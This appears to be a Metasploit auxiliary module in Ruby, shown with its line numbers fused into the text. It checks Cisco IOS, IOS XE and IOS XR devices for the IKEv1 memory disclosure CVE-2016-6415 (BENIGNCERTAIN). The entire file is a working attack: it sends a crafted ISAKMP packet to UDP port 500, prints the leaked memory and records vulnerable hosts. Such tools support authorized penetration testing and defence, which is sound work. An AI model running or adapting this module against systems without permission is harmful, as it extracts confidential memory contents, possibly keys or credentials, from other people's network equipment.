Path: blob/master/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Cisco IKE Information Disclosure',14'Description' => %q{15A vulnerability in Internet Key Exchange version 1 (IKEv1) packet16processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software17could allow an unauthenticated, remote attacker to retrieve memory18contents, which could lead to the disclosure of confidential information.1920The vulnerability is due to insufficient condition checks in the part21of the code that handles IKEv1 security negotiation requests.22An attacker could exploit this vulnerability by sending a crafted IKEv123packet to an affected device configured to accept IKEv1 security24negotiation requests. A successful exploit could allow the attacker25to retrieve memory contents, which could lead to the disclosure of26confidential information.27},28'Author' => [ 'Nixawk' ],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2016-6415' ],32[ 'URL', 'https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110' ],33[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1' ],34[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2016-6415' ],35[ 'URL', 'https://musalbas.com/2016/08/18/equation-group-benigncertain.html' ]36],37'Notes' => {38'AKA' => ['BENIGNCERTAIN'],39'Stability' => UNKNOWN_STABILITY,40'Reliability' => UNKNOWN_RELIABILITY,41'SideEffects' => UNKNOWN_SIDE_EFFECTS42},43'DisclosureDate' => '2016-09-29'44)45)4647register_options(48[49Opt::RPORT(500),50OptPath.new('PACKETFILE',51[ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ])52]53)54end5556def run_host(ip)57begin58isakmp_pkt = File.read(datastore['PACKETFILE'])59peer = "#{ip}:#{datastore['RPORT']}"6061udp_sock = Rex::Socket::Udp.create(62{63'Context' => { 'Msf' => framework, 'MsfExploit' => self }64}65)6667add_socket(udp_sock)6869udp_sock.sendto(isakmp_pkt, ip, datastore['RPORT'].to_i)70res = udp_sock.get(3)71return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data...7273# Convert non-printable characters to periods74printable_data = res.gsub(/[^[:print:]]/, '.')7576# Show abbreviated data77vprint_status("Printable info leaked:\n#{printable_data}")7879chars = res.unpack('C*')80len = (chars[30].to_s(16) + chars[31].to_s(16)).hex8182return if len <= 08384print_good("#{peer} - IKE response with leak")85report_vuln({86:host => ip,87:port => datastore['RPORT'],88:proto => 'udp',89:name => self.name,90:refs => self.references,91:info => "Vulnerable to Cisco IKE Information Disclosure"92})9394# NETWORK may return the same packet data.95return if res.length < 25009697pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length - 2500, isakmp_pkt.length])98res_md5 = ::Rex::Text.md5(res[res.length - 2500, res.length])99100print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5101rescue102ensure103udp_sock.close104end105end106end107108109